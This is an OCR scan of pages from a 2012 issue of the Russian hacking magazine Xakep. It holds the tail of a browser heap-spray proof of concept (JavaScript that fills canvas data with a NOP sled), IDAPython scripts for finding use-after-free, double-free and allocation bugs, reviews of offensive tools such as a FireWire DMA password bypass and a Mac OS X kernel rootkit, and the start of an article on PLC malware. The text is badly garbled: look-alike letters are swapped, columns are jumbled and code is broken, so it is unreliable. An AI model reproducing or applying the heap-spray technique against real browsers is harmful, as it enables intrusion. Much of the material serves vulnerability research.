чаг payload = [0х90, Ох9О, Ох9О, Ох90, Ох9О, Ох9О, е ах90, 0хСС]; чаг imagedata = e.data;

fог(чаг i = 0; i < imagedata.data.Iength; imagedata.dataIi] = payloadIi

Jt postMessage

(

%

i++)

{

payload.length];

imagedata );

},;

мы выносим <<поток) копирования пейлоада в данные изображения. Именно этот цикл занимает основное время выполнения спрея. main. html VаГ mеmогУ = Дггау()j

window.onload = function() va г wогkеrs = дппаУ( ).i

чаг

{

MAX_WORKERS = 5j

fог(чаг i

0; i

< 2OOO; i++) { = document.cгeateElement('canvas' elem.width = 256; =

чаг еlеm

Результат спрея

о .

с

elem.height = 256; vаг context = elem.getСontext('2d' ); чаг imgd = context.cгeatelmageData(256,

использованием Wоrkеr

if(i

Через RGВАзаносим пейлоад. Тиражируем!

\. Jl

wоrkегs[1

<

function fi1l(imgd, payload) { fоr^(чаг 1 = 0j i < imgd.data.length; i++) { imgd.data[1] = payloadIi % payload.length]; Il

};

window.onload = function() { чаг payload = [0х90, 0х90, Ох90, Ох9О, Ох9О,

i

< 100; i++) 256:,

elem.height = 256;

е

{

document. сгеаtеЕlеmепt('сапчаs'

elem.width =

12116712012

н

;

{

};

Vаг mеmоrу = Дггау()j

хдкЕр

.postMessage(imgd)

MAX_IrIORKERS].onmessage =

Il

>

0х90, 0хСС]; fог(чаr, i = 0.; чаг еIеm =

%

mеmогу[1] = e.data;

DOCTYPE html>

sсгlрt

% MAX_WORKERS]

Гunction(e)

РоС < !

256);

< MAX_WORKERS) { WОГkеГsIi] = пеw Wогkег('wогkег.js, );

wогkегsIi

В итоге мы сделаем то же самое, что и lmа9еSргау, только теперь по сети ничего не гоняется и мы делаем это в разы быстрее.

).;

);

I. J,

0сновной код точно такой же, только копирование пейлоада вынесен0 в вOркеры. Единственная особенность, которая возникает при данном примере, плотность спрея высока только в средне-нижней части карты памяти. Это стоит учитывать для планирования стабильных эксплойтов. Тем не менее тема раскрыта, но не до конца: что в первом, что во втором примере есть проблемы с плотностью [тестировалось в Fiгеfохl. Предлагаю читателю самостоятельно улучшить показатели Неар sргау, манипулируя размером изображения или с помощью иных хитростеЙ. Главное ведь идея ;).

-

Е


взлOм

fl ttитрий <DharmD

Пронькин (twittег.соm/skу5еагсhегl

Ф

ео о о Е

с ,ч

о

АВТOi,lАти3иРУЕ]t{

пOиск уязвимOстЕи,

вьlзвАнньlх

HEKOPPEKTHbl]t{

испOльзOвАниЕ},| ФункциЙ дш-ос/FRЕЕ с IDAPYTHON

Естественное желание упростить себе жизнь вынуждает автOматизирOвать пOиск уязвимостей. Как и прежде, помогать нам будет плагин lDAPython, позволяющий использовать всю мощь Python в отладчике lDA Рго. Но если в прошлый раз мы искали ошибки в циклах и переполнения буфера, то в этот раз устроим охоту на баги, связанные с функциями выделен ия/освобожден ия памяти.

080

жffi

Предыдущие части были сфокусированы на счетчике копирования. Сегодня мы сосредоточим внимание на размере выделяемой памяти, прOверке возвращаемых значений и операциях с указателями для функций выделения памяти. Щанными в динамической памяти оперируют функции выделения памяти. С семействами функций alloc и fгее связаны четыре категории уязвимостей: целочисленное переполнение, игнорирование проверки возвращаемого значения, повторное освобождение памяти и использование освобожденной памяти. Задачу проверки на эти категории можно проиллюстрировать схемой, представленной на рисунке 1.

рffiниЕ

Арифметические операции с параметром аllос-функций приводят к тому, что выделяется недостаточное количество памяти для буфера. Следствием этого является переполнение в куче. На примере из рисунка 2 можно увидеть, что с параметром malloc происходит интереснOе. Подобная арифметическая ошибка была найдена недавно в браузерном протоколе Steam, в обработчике графических файлов TGA.

add еахrеах add еахrеах push еах

ca1l mаllос_wгаррег ,Щля идентификации этого паттерна используется, как обычно, трассировка и анализ операндов инструкций. Задача предельно прOста: от начальной точки выделения памяти, трас- функции сируя вверх, обращать внимание на математические инструкции,

хлкЕр 12/1ь7/2012


Наказуемая беспечность

]ltou l-{елочисленное

double frее

переполнение направление

EilXr [еЬр+6ц9_91

shl lea ]|ou рцsh call

трассирOвки

Рис.

2.

Еах, Z tGхr [еах+еах+зOhI tsi, tsр есх ;SizB ds:nalloc

Арифметическая оtлибка в браузерно1,1 протоколе Steam

call

ds:_inp_lstrlenUE{ ; lstгlenlrl(x) esl, еах esl еах, [eso+esi]

mоU

inc lea

use-after-free

Еах *inp_CoTas}llenAllocO{

push

;сЬ

cal l

Рис. 3. Размер выделяемых байтов для функции вычисляется динаt!ически

Рис. 'l. Схема проверки четырех категорий уязвиl.tостей

не

где нулевой операнд-трассируемое

значение. Но одной функцией malloc семейство аллокаторов не ограничено. Сюда относятся также LocalAlloc, SуsАllосStгiпg и так далее. !ля скрипта-помощника важно лишь, что в0 всех этих функциях присутствует слово <alloc> и что у части из них параметр <<размер> не один. Это обуславливает найти нужный дополнительную небольшую задачу для скрипта push. Например, объект трассировки у LocalAlloc нулевой операнд второго push'a, а у mal|oc- первого и единственного push'a. В задаче проверки на iпtеgег очегflоw одна из вкусностей в том, что размер выделяемых байтов для функции выделения может вычисляться динамически [например, быть возвращаемым strlеп-likе функциейl. Подобный пример ты можешь увидеть на рисунке З.

-

Код, выполняюlций простейший анализ В Список арифметических инструкций

#

!ля

]

функции ma1loc ищем первый push

fог step in

гапgе(5): еа=RfiгstВ(еа) # Покраска удобна для отладки и наглядности SеtСоlог( еа, CIC_ITEM, 0хсЬе4е4) if GetМnem(ea)==' push' : # Проверка на константу

if

GetOpnd(ea,0)==5: bt^eak

# Находиlч объект трассировки tгaceval=GetOpnd ( еа, 0) Ьгеаk step=41 еа ! =рапепt: SеtСоlог ( еа, CIC_ITEM, ОхсЬе4е4)

whi]e

гstВ ( еа ) fr Ищем трассируемый операнд if GetOpnd (eaJ 0) ==tгасеvа1, # Влияют ли математические инструкции на будущий # размер if GetMnem(ea) in maths:

еа= Rfi

if

GetMnem(ea)=='19.

'

,

# 1еа причастна только при сложении if'+\ поt in GetOpnd(ea,1): Ьгеаk

# Сообщаем

о

возможной арифметической

ргiпt 'La vida

А1].оса

ошибке

at addгess',hex(ea)

0ГЛЯДЫВАЯСЬ НАЗАД е мое з наче н и е не п р а вил ьн о и нте рп рет и руется или пOпрOсту игнорируется, то поведение прOграммьl мOжет стать

Ес л и во звр а ща

хдкЕр

121167/2012

п

редс ка зуем

ы

м.

М bt до

лжн bl осматр

и в

ать функци и

памяти, поскольку многие уязвимости были связаньl п

ровер ки воз

в

Bbl

с

де лен ия

отсутствием

ра щае мOг0 зн ачен ия. Книга по исследованиюуязвиttocTeй The

Art of Software SecцrityAssessment

0тсутствие проверки значения, возвращаемого функцией выделения памяти, часто служит причиной захвата потока управления дефектной программы, В Windows существует несколько различных функциЙ выделения памяти. Из них в usег mode - LocalAlloc, SуsАllосStгiпg, геаllос и в kегпеl mode ExAllocatePoolWithTag. Также присутствует множество оберток функци й, выделяющих память, наподобие МlDL_usег_аllосаtе. В примере ниже значение, отданное LocalA|loc [в регистре еах) без проверки, служит аргументом для функции NtAdjustPгivile9esToken.

push push mоч са11 lea push push push mоv push push push са11

maths=['inc'r'add'r'mul','imul'r'lea'r'movsx', е

'dec','sub','shl','shг'

; Colas}]leпAlloc(x)

еах еЬх

; ;

uBytes uFlаg5 [еЬр+агg_4], еах ds : LocalA1loc (х, х)

есх, Iebp+uBytes] есх

еах

j

а11 input апе eviI!

[еЬр+апg_4] Iebp+hМem], еах [еЬр+чаг_4] еЬх Iebp+van_8]

edi ; NtAdjustPгivilegesToken(x,x,x,x,x,x)

Задача автоматического анализа этого паттерна сводится к проверке, является ли регистр еах 0перандOм инструкции сравнения (cmp, test). В этом случае будет ясно, что возвращаемое значение сравнивается с нулем. Код, выполняющий эту нехитрую задачу:

tests=['cmp','test'] fоr step iп гапgе(5):

гst ( еа ) SеtСоlог ( еа, CIC_ITEM, 0хсЬе4е4) ea=Rfi

if

GetMnem(ea)

if

in tests:

Getopnd(ea,0)=='eax' ог GetOpnd(ea,1)=='eax', Ьпеаk

ргiпt 'Nо check геtuгп value at addness',hex(ea)

Step=+1

0тправной точкой для анализа вышеописанных паттернов уязвимостей служит, конечно же, одна из функций выделения памяти. !ля примера ниже приведен код, обходящий всю базу lDA в поисках вызовов malloc:


взлом ]nou еах, tebp+ptгI еах ; lleior9 рчSh call dS:frcc пdd eSP, { спр eSl, csP call uпkопоuп llbnare_1: ]llcrosoft

ptr = (сhаr

*) malloc((size*4*sizeof(buf)*4)*2); func2 (buf,ptr);

}

UlsцаlС Z-э/ае1 rчпtlпе

int func2(char *buf, char *ptr) l

ос_{0

nou csl, esp поU еах, tсЬр+рtr] push сах ;ПЁпоr9 calI ds:fp66 add csp, { спр esl, esp call чпLпоuп_llЬпапс_1 : пtсrоsоft поU esl, esp поч еах, [ebp+ptrl

;

UlsuaIC Z-!/nel

rчпtlпе

Рис. 5. Указатель ptr используется в качестве аргуtlента к frее дваlкды

Рис. 4. Указатель на освобожденную па1,1ять рtr читается в регистр еах

fог seg_ea ln Segments(): fог еа in Heads(seg_ea, SegEnd(seg_ea)): if 1sCode(GetFlags(ea) ) if GetМnem(ea) == "са11", if ге.mаtсh(' .*ma1loc.*',GetOpnd(ea,0)) :

а1

lox . append

(

:

еа )

0писанный тип уязвимости является логической ошибкой и присутствует в каждOм языке. Итак, векторы исследований от аллокаторов направлены вверх и вниз в поисках арифметики и проверки на нуль. Перейдем к уязвимостям, связанным с функциями освобождения памяти.

-

PRAY-AFTER-FREE

-

Usе-аftег-fгее весьма распространенный баг, сущность которого кроется в самом названии использование после освобождения. Возникает вследствие некорректных операциЙ программы с указателем [как и в случае с double fгее), В последнее время этот вид уязвиN4остеЙ в адвизори-лентах светится все чаще - CVE2012-0469, CVE-20]2-1529, CVE-2012-]889. Идея эксплуатации этого бага состоит в том, чтобы после освобождения объекта в памяти заставить программу выделить фейковый кусок памяти [или переполнить буфер), а затем программа сама (использует> объект (на благо атакующего). Эксплуатация этого типа уязвимостей выпOлняется пOсредствOм техники распрыскивания кучи, кOтOрая и создаст подложный объект. Этого пациента можно идентифицировать через проверку доступа к указателю после освобождения. Трассировка <вниз) позволяет локализOвать места доступа к указател ю. Взглянем на иллюстрацию, представленную на рисунке 4. Здесь lйы видим, что указатель на освобожденную память рtг читается в регистр еах. Такого рода ситуации обнаруживаются следующим кодом:

-

возникает при попытке освободить тот фрагмент памяти, который система уже считает освобожденным. Уязвимость класса double fгее так же, как и usе-аftег-fгее, используется для манипуляций с метаданными кучи. Пресловутый указатель рtг используется в качестве аргумента к fгее дважды. Приведенный выше пример из lDA является результатом простого С-кода, представленного на рисунке 5. В дебрях ассемблера поиск потенциально дважды освобожденнOг0 свOдится к пOиску указателя, пOвтOрн0 испOльзуемOг0 в качестве аргумента. 0тправная и конечная тOчка поиска - вызов fгее, 0бъект трассировки указатель. Различия в количе(освободителей> стве параметров у разных типа НеарFгее, frее, ViгtuаlFгее в плане идентификации указателя функции легко решаются - пDосто от начала вызова ищется определенный push. Задача идентификации оuибки повторного освобождения памяти, на первый взгляд, простая. Но ограничение статического анализа пороЙ состоит в невозможности найти родительскую функцию [в случае с виртуальными функциямиl. Все же этот вид уязвимости можно локализовать с помощью приведенного ниже кода. Смысл его - двигаясь от вызова fгее вверх, искать другой вызов функции освобождения, чтобы сравнить указатель с трассируемым.

# Пропасть вводит IDA в бесконечный цикл еа ! =0хFFFFFFtF: # Красиlч путь

while

SetCo1o

rst

(

(

еа,

1 ) ==t

гасеча1

"mау Ье used

рчSh поU sцЬ рчsh рцsh рцsh пlоu

еЬр

еЬр, týр

esp, ЕЬх

OCOh

eSi edi, [еЬр*цар_С0I есх, зоh еах, 0cccccccch rер stosd

:

аftег fгее",tпасечаl,hех(еа)

0шибка double fгее подобна usе-аftег-fгее тем, что после освобождения определенного фрагмента памяти также пытается испOльзOвать указател ь,

поU eýi, esp поU еах, [ebp+ptrl рцsh Еах ;}lепоrg

0свOБOдить 0свOБOждЕннOг0 Читатель, исследующий бинарный код, уже отметил, что на иллюстрации также присутствует уязвимость dоuЬlе-fгее - повторное освобождение памяти [gоо.gV9z5Flэ), Уязвимость подобного рода

)

uаr_со= Ьцtе ptr -OCOh ptr= dшоrd рtr Och

еа )

ргiпt

еа, CIC*ITEM, 0xe5f3ff

; int_edecl fцпсZ(iпt, uoid *ptr)

SеtСоlоп ( еа, CIC_ITEM, Oxcbe4e4 ) # Кто-нибудь использует трассируемое значение? if GetOpnd(ea,0)==tгacevaI ог е

Getopnd

(

fцпсZ рrос пеаr

еа ! =0хFFFFFFFF:

ea=Rfi

г

# Получить ссылку ea=RfiгstB(ea)

# Пока не встретилась пропасть

while

{

free (ptr) ; free (ptr) ;//освободить освобождевного printf ( "8р", ptr) / /чление указаtrеля

1{h

1

call Рис.

6.

ds:fjgg

Функция fчпс2 собственной персоной

хдкЕр 12l1b7l2012


Наказуемая беспечность

]tоч ]lоU push lea push Eall Рис.

7.

tеЪр+рtrl, Gах EflXr [ebp+ptrl

0шиБки пOвтOрнOг0 0свOБождЕния пАрlяти гOрАзд0 прощЕ нАхOдить

Еах ;ptr ttrх, [еЬр+цаr_lС] ttrх ; lnt шrаррЕr_fчпсZ

ДИ НАМ ИЧ ЕС КИ

Враппер, вызываюtций функцию fчпс2

# Проверка: были ли мы тут if GеtСоlоп(еа,СIС*IТЕМ)==0хеSfЗff Ьгеаk # Ищем вызов fгее

if

GetМnem(ea)=='са11

if 'fгее' in fог

'

:

,

GetOpnd(ea,0): step in папgе(5): ea=Rfi гstВ ( еа ) SetcoIon (еа, CIC_ITEM, 0хсЬе4е4) if GetМnem(ea)==' push' : # В переменную операнд push'a val=GetOpnd (еа, step=a1

# пять шагов на поиск возможного источника fог step in гапgе(5): еа=RfiгstВ(еа) SеtСоlог(еа, СIС_IТЕМ, 0хсЬе4е4) GetМnem(ea)==' gоч', val=GetOpnd (еа,1 )

Ьгеаk

step=a1 # Ключевая проверка

if

Говоря простым языком, межпроцедурный анализ тOт анализ, который на основе исследования входных и выходных данных подпрограмм рисует картину взаимодействия между функциями. На рисунке б мы видим функцию func2, где один из аргументов указатель рtг. Вызывается эта функция из листинга, представленного на рисунке 7. Согласно конвенции вызовов stdcall, рtг попадает в fuпс2 через стек с помощью второго снизу рush'а.,Щотянуться до трассируемого значения межпроцедурно в данном случае очень просто. Ступени к победе таковы: 'l. Найтитрассируемого вфреймефункции.Тоестьвычислитьположение аргумента (относительно других аргументов. переменных) в стековом фрейме функции fuпс2 [вызываемой функции}. !ля примера приведу код, выводящий на экран содержимое фрейма функции:

ргiпt 'double fгее',

hex(ea)

# Получаем фрейм функции stack_fгame = GetFгame(get_scneen_ea( # Запрашиваем размер

При глобальном анализе, по всей базе дизассемблера lDA (idbфайлу), целесообразно после работы с функцией освOбождения памяти перекрашивать за собой пройденный окрашенный путь, поскольку алгоритм построен так, что анализирующие функции используют покраску, чтобы не попасть в бесконечный цикл. Чистильщик представлен ниже:

stk_чагs=

stack*var = GetMembeгName(stack_fname,

if

SеtСоlог(еа, CIC_ITEM, 0хFFFFFFFF

while еа!=0хFFFFFFFF:

%s

"

% (stack_van)

# Вывод результата

гStВ ( еа ) # Вы еще не отбелились? if GеtСоlоп(еа, CIC_ITEM)

fог чаг iп stk_vans: ргlпt "stасk чаr:",чап

ea=Rfi

к

!

=0хFFFFFFFF

2. Найтипутьнаверх.Тоестьс

:

вам

SеtСоlог(еа, cIc_ITEM, 0хFFFFFFFF

# Иначе уходим

З

)

:

# Идем вниз downea=Rfirst (dоwпеа ) # Аналогично if GetColoг(downea, CIC_ITEM)

!

=0хFFFFFFFF

SеtСоlог(dоwпеа, cIс_ITEM, 0хtFFFFFFt

:

)

помощью перекрестныхссылок

най-

ти, какая функция вызываеттекущую.

Найтитрассируемоговпрошлойжизнипредыдущейфункции [в

eIse:

12116712012

рriпt " Stack VапiаЬlе:

frаmе_сочпtег)

stk_vaгs. append ( stack_van) fгаmе_соuпtег += 1

)

# Идем вверх

хдкЕр

stack_vaг!=None:

# Сохраняем имена

# 0беление

Ьгеа k

< fгаmе_sizе:

# Перебираем имена переменных

downea=ea

else:

[]

while fпаmе_сочпtег

# Бэкапим адрес

Ьгеа k downea !=0хFFFFFFFF

))

fгаmе_sizе = GetStrucSize(stack_fгame) # Массив для работы с содерхимым фрейма

def Сlеапеr(еа):

whlle

},l

На практике ошибки повторного освобождения памяти гораздо проще находить динамическим анализом. !ело в том, что между вызовами функций fгее, как правило, находится не десяток инструкций, а множество функций. Поэтому статический анализ здесь эффективно использовать лишь вместе с межпроцедурным

ча1==tгасеча1:

# Тогда мы идем

АНАЛ И30

-

0)

Ьгеа k

if

].,l

примере рtг был регистром eaxl.

Перед реализацией этих шагов стоит почитать пост автора lDA Рго о межпроцедурном анализе через анализ стековых переменных (www.hexblog.com/?p=42). 0тмечу, что у скрипта, который ты найдешь на прилагаемом к журналу диске, помимо отсутствия взаимодействия меж функциями, существуют следующие ограничения: неполный охват кода, отсутствие проверки операций с указателем (в деле поиска ошибок double frее), работа с ограниченным количеством представителей семейств функций выделения и освобождения памяти [malloc и fгееl. На этом всё. Удачи! Т


взлоi,l

днитрий (01

g'l D

Евдокиttов, Digital Security ltwitteг,com/evdokimovds]

пl-птттп Вся информация предоставлена исключптельн0 в 0знак0llительных целях. Ни редакция, ни автOр не несут 0т-

ветственности за любой возмоlкный

оо

сOотдля взлOмА АвтOр: Rоп Bowes URL: h!:ps ]g thuL..!]]]]]r

АнАлизА БЕ3OпАснOсти

и

Авторы: James Fогshаw,

.*- *" 1.* р _."нБ

l!].i!]!8al' I q]9|_ e /ile [d c Система: Lin u x/Wind ows

HASH EXTENDER Есть такой классический тип атак - Hash length extension. Уязвимы к ней многие распрOстраненные хеш-алгоритмы - и MD5, и SHA-1. Если точнее те, что основываются на структуре Меркла -,Щамгарда. ,Щанная атака пOзвOляет сгенерирOвать кOрректное хеш-значение для удлиненнOг0 исхOдного сообщения. Точнее, если мы знаем значение хеша от строки lsecгetkey+data], знаем значение data, но не знаем значение Sесгеtkеу, то мы все равн0 lиOжем сгенерирOвать хеш для изначальной строки и нашей строки. То есть Н

{sec геtkеу+d

а

ta+a рре

п

data

Суть атаки заключается

).

том, что мы можем привести в правильную форму изначальные данные (добавив padding, длину строки, произведя конвертациюl, добавить наши данные и как бы <продолжить) хеш-функцию с известной позиции изначального значения хеша. с hash_extendeг мы имеем возможность получить итоговый хеш в пару кликов. Oтметим следующие особенности софтины: в

-

.

. . 084

всеосновныехеш-функции-МD4/5,

RlPEM D-] 60, SНДl -1 l -2561-51 2, Whiгlрооl; генерация хешей для диапазона длин секретной строки, чтоудобно, когда она неизвестна и требуется перебирать возмOжные значения; разнообразные варианты ввода и вывода данных.

lйiсhае|.Jогdоп URL: ] !t] leI : j.i...!]]r] !е а:a h] tO Q l]'!j]

Автор: саrstеп Мааrtmапп

i::к=ф

Мое URL: ! i [,llL.i]t ]r !]

.; г

Система: Windows

1

]]I

i

р

a

л 1

CANAPE

- это инструмент для тестирования работы любых сетевых протоколов, но наи-

Сапаре

более полезен он при работе с бинарными п

рOт0 кOл

вред, при-

чиненный материалами данной статьи.

ам

и.

Программа имеет встроенный функционал, реализующий стандартные сетевые прокси, и предOставляет вOзмOжнOсть захватывать и модифицировать трафик от сервера и к серверу. Ядро данного инструмента может быть расширен0 с пOмOщью мнOжества языкOв пр0граммирования, включая С# и Python, для парсинга любого протокола с учетом необходимых требований прокси и модификации данных. Программа работает на сетевом уровне и поддерживает ТСР- и UDР-соединения через рOгt fогwагdiп9 или реализацию SOCKS- или НТТР-прокси. Так что инструмент не захватывает данные на Еthегпеt-, lР- или ТСР-уровне напрямую. Главное, что дает инструмент человеку, тестирующему новый неизвестный бинарный протокол, сводит к минимуму усилия для его эффективного тестирования. Можно как очень быстро написать фаззер для поиска различных переполнений, так и просто производить МlТМ-атаки. Также из особенностей инструмента можно выделить построение модели состояний протокола, которая отображается в виде графа состояний. Инструмент был впервые представлен на Black Hat Еuгоре 201 2.

-

!]-'

!]!!;.iai;,'ni_tp:.l Система: Lin

u

х/lйас

л J 0ТМЕНЯЕМ ГРАНИЦЫ ДOСТУПА

lnception предоставляет стабильный и простой путь для выполнения различных хаков с памятью на включенных машинах, испOльзующих lEEE 1З94 SBP-2 DMA. Инструмент может разблокировать и поднять привилегии до Local Дdmiпistгаtог / гооt на почти любой машине с интерфейсом FiгеWiге, к которому есть физический доступ. В первую очередь lnception предназначен для атак прOтив кOмпьютерOв, кOтOрые используют полное шифрование дисков, такое как ВitLосkег, FileVault, ТгuеСгурt или Pointsec Также инструмент будет полезен для специалистOв п0 реагирOваниlю на инциденты и цифровой экспертизы, когда они сталкиваются с включенной машиной. Благодаря DMA происходит поиск по всем дOступным страницам памяти сигнатур п0 0пределенным смещениям в мOдулях парольной аутентификации операционной системы. После того как найден нужный участок кода, инструмент помогает обойти код, ответственный за неправильный ввод пароля. В итоге любой введенный пароль будет правильным. При этом исправление в памяти будет не постоянным, и после перезагрузки все вернется к нормальной работе парольного функционала, что теоретически пOзвOляет атакующему 0статься практиески незамеченным.

хлкЕр 12l167l2012


7

утилит для исследования безопасности

ПРИШЕЛЕЦ АТАКУЕТ Nikto - это сканер веб-серверов с открытым исходным кодом, который производит кOмплексное тестирование веб-серверов п0 мнOгOчисленным пунктам, включая проверки на более 6500 потенциально опасных сценариев, прOверки на устаревшие версии для более 1 250 серверов и специфические проблемы [270), Программа также проверяет конфигурацию элементOв сервера, например наличие множественной индексации файлов, НТТР-опции сервера и попытки идентифицировать установленные ве6-службы и программное обеспечение на сервере, Полноценная поддержка прокси (с возможностью авторизацииit при правильном подходе обеспечит тебе безопасность. Правда, 0 незаметном сканировании придется забыть. С самого начала разработчики сделали упор на скOрOсть скана, не замOрачиваясь по поводу stealth-методов,

открытом доступе. RuЬilуп ликвидирует пробел это kегпеl-руткит для Мас 0S Х 64bit. В своей работе руткит не использует никаких захардкOженных адресOв для перехвата функций в ВSD-подсистеме, а скрывает свою активность с помощью syscall hooking и DKOM. Все успешно работает и протестировано на 0S Х Lion и более младших версиях. lt4ожно выделить следующие возможности в

-

. . .

рут

ки

та:

наличие консольного интерфейса; выдача гооt-привилегий по PlD; скрытие файлов и папок; скрытие прOцессOв;

. . скрытие пользователя OTWho/W; . скрытие сетевых пOртов от netstaU . SуSсtl-интерфеЙсдля взаимодеЙствия

.

uSегlапd; выполнение бинарников с гооtпривилегиями через magic lCMP ping,

с

В грейтсах к этому полезному творению можно заметить хорошо известных в мире яблочной

безопасности личностей: #пullsесuгitу сгеw, sпаге, dino, пеmо, piot1 а также thegrugq, недавно посетившего конференцию zeгoNights, пOсвященную техническим аспектам информационной безопасности.

хлкЕр

12

l1ыl2а12

u

х

техники уменьшения кOличества ложных срабатываний; интерактивный статус, пауза и изменение настрOек детализации;

сохра нен ие запроса/ответа для

успешныхтестOв; пOвтOр сOхраненных успешных тестOв; автопауза по таймеру; вход в Metasploit,

Автор:

Автор: SiRA Team

Stерhеп Fеwег URL: ''l1p: _ 1.,l1|;1 111, : i,] j,1.1 ,],,,, ,, i] г].

URL: i :".]'

Система: Linux

Систеtlа: Windows

t 9

1 а вот под Мас 0S Х днем с огнем не сыщешь

Система: Wind ows/Lin

.

prdelka URL: ll.]]:t]!!l 1, I],]]1 l]al kt]!aI :liJ] Система: Мас

ПРЯЧЕМСЯ В ЯБЛOКЕ

David Lodge URL: l"]/rц:L i1 ai.I]/

.

Автор:

Руткитов под Windows и Linux пруд пруди,

Авторы: сhris sullo,

С другой стороны, ядро Nikto составляет известная библиотека LiЬWhiskег, у которой в арсенале есть несколько методик для обмана lDS. 0сновные особенности: поддержка SSL и НТТР ргоху; . прOверки наустаревшие компOненты сервера; . сохранение отчетов в рlаiп text, XML, HTML, NBE или CSV; движок шаблонов отчетов; сканирOвание мнOжества пOртOв на сервере или множества серверOв; LibWhiskeг's lDS методы кодирования; определение установленного П0 через заголовки, favicons и файлы; хост-аутентификация с Basic и NTLM; 0тгады вание пOддоменOв; определение пол ьзователей в Apache и сgiwrар; настройка проверяемых групп уязвимостей;

6

гOтOвимся к PWN2OWN

-

Gгiпdег полноценная платформа для автоматического фаззинга веб-браузеров от одного из победителей Pwn2Own 20]] (за взлом lпtегпеt Ехрlогег 8 на 64-bit Windows 7 tSP1]). Помимо фаззинга, система имеет впечатляющий функционал, отвечающий за управление большим количеством падений бедных браузеров. Платформа состоит из двух основных компонентов: Gгiпdег-нод и Gгiпdег-сервера. Gгiпdег-ноды отвечают за непосредственную автоматизацию фаззинга, генерирование полезной информации о падении, которая способна дать представление о его причине, вOзмOжнOсть вOспрOизвести падение в дальнейшем и представление о возможности эксплуатации данного случая. Нода отвечает за фаззинг одного из поддерживаемых веббраузеров: Сhгоmе, Fiгеfох, lпtегпеt Ехрlоге1 Sаfагi. 0дновременно можно запустить огромнOе кOличеств0 различн0 настрOенных нод. Gгiпdег-сервер представляет собой централизOванное хранилище, в котором собирает все падения и информацию о них со всех работающих Gгiпdег-нод. Сервер имеет веб-интерфейс и прOдвинутую мнOгOпOльзOвательскую систему. Единственное, что остается сделать, так это написать свой алгоритм фаззинга и вставить его в Gгiпdег. Естественно, автор тулзы их не выложил в pubiic, но оставил пример их написания для системы.

-

мЕтOдичныЙ пOдхOд к l0S APPS

SiRA (Semi-automated iOS Rapid Assessment] это инструментдля оценки безопасности

-

iOS-приложений, который был представлен на Black Hat USA 2012. Программа состоит из двух частей: Liпuх-части, которая ставится на систему, и iOS-части, которая устанавливается прямо на.jаilЬгеаk'нутый iPhone. Не секрет, чт0 полностью автоматизирOвать анализ прилOжения с качественным выхOдным результатOм невOзмOжн0, и п0этому было решено автоматизировать все, чт0 мOжн0, а для тOг0, чт0 нельзя, сделать вспOмогательные инструменты, облегчающие их выпOлнение при ручнOм тестирOвании. Программа предоставляет такие возможности при ручнOм тестирOвании: создание снимка файловой системы;

. . . .

сравнениедвухснимковфайловойсистемы;

о

анализрасшифрованногоприложения.

. .

анализ снимка файловой системы; поиск снимка файловой системы; сOздание снимка экрана; получение и расшифровка iOS Keychain DB;

Также стоит выделить такой функционал, как СгuisеСопtгоl, которы й представляет собой пошаговый аудит для самых маленьких, шаг за шагом программа идет по всей разработанной методологии оценки безопасности приложений.

-


},lALUlrARE

Про безопасность промышленной автоматики в последнее время не говорит и не пишет только ленивый. главный виновник повышенного внимания к этой теме, конечно же, Rutkit.WinЗ2.Stuxnet.a. Мы тоже не остапр0немся в стOроне и пOсмOтрим, чт0 же эт0 такOе граммируемые логические контроллеры [а именно они являются низшим испOлнительным звеном в системах промышленной автоматики) и как на них можно вредоносно воздействовать.

Малварьдля

ч,

промьlшленнои автоматики и

ссл ЕдуЕ

},l

воз

},l

0жн 0сти

прOгрАммируЕмьlх ЛОГИЧЕСКИХ

кOнтрOллЕрOв с тOчки зрЕнпя врЕдOнOснOг0

кOдингА

Если говорить строго и хотя бы частично использовать научный подход, то программируемы й логически й контроллер есть программно управляемый дискретный автомат, имеющий некоторое количество входов с подключенными к ним датчиками, связанными с объектOм управления, и нескOльк0 выхOдOв, связанных с испол нительными устройствами объекта уп равления. Контроллер отслеживает состояния входов и в зависимOсти 0т их сOстOяния выпOлняет 0пределенную, программно заданную последовательность действий, изменяя сOстOяние выхOдOв. Впервые ПЛК были применены в 1969 году в США для автоматизации конвейерного сборочного производства в автомобильной промышленности. Сегодня ПЛК работают в энергетике, в области связи, в химической промышленности, в сфере добычи, транспортировки нефти и газа, в кOммунальном хозяйстве, да и вообще где угодно. На самом деле сфера применения ПЛК гораздо шире сферы применения персональных


Малварь для промышленной автоматики

Система прOграм}lирования и

отладки гlлк

Промышленная сеть l}.lodbus, РrоfiЬчs, САNореп локальная сеть

fu w

Простейчlая АСУ ТП

и i{ecтo ПЛК в этой

АРМ операторов Фсу тп систеrrе

вOспринимается как нечто само собой разумеющееся. .Що поры до времени вопросы информационной безопасности программируемых логических контроллеров и промышленной автоматики мало кого беспокоили,0но и понятно: асушники {в смысле люди, которые занимаются разработкой автоматизированных систем управленияl люди конструктивные. 0ни программируют разные АСУ ТП и SCADA, читают умные книги, придумывают всякие алгOритмы кOнтрOля

-

средственн0 с прOмышленными кOнтрOллерами от фирмы Siemens, встречается нечасто, ,Щумаю, на эту сторону вредоносной деятельности червя стоит обратить хотя бы немного внимания. Перед тем как начать излагать сrгь вопроса, необходимо слегка погрузиться в принципы программирования ПЛК Simatic 57. Вся программа в ПЛК делится на несколько блоков разных

ти пOв:

1.

0рганизационные блоки 0В, Выступают в качестве интерфейса между операционной системой и программой пользователя. Эти блоки вызываются операционной системой контрOллера и управляют ег0 пOведением при старте, циклическим выпOлнением программы, обработкой прерываний и обработкой ошибок, Например, блок 0B'l является основной точкой входа в программу ПЛК и выполняется циклически, а, скажем, блок 0В84 вызывается при возникновении ошибки в памяти операционной системы

2.

Функциональные блоки и функции FВ и FС. Испол ьзуются для построения программы из фун кционально законченных п роцедур или пOдпрOграмм с параметрами. Блоки данных DB. Назначение понятно из названия. Здесь хранятся константы и переменные, необходимые для выполнения прOграммы. Системные блокиданныхSDВ. В нихсодержится информация о конфигурации ПЛК.

и мOнитOринга технOлOгических прOцессOв, и им некогда заниматься всякой деструктивной

ерундой. Но, как говорится, в семье не без урода, и рано или поздно должны были появиться те, кто придумал и написал Stuxnet.

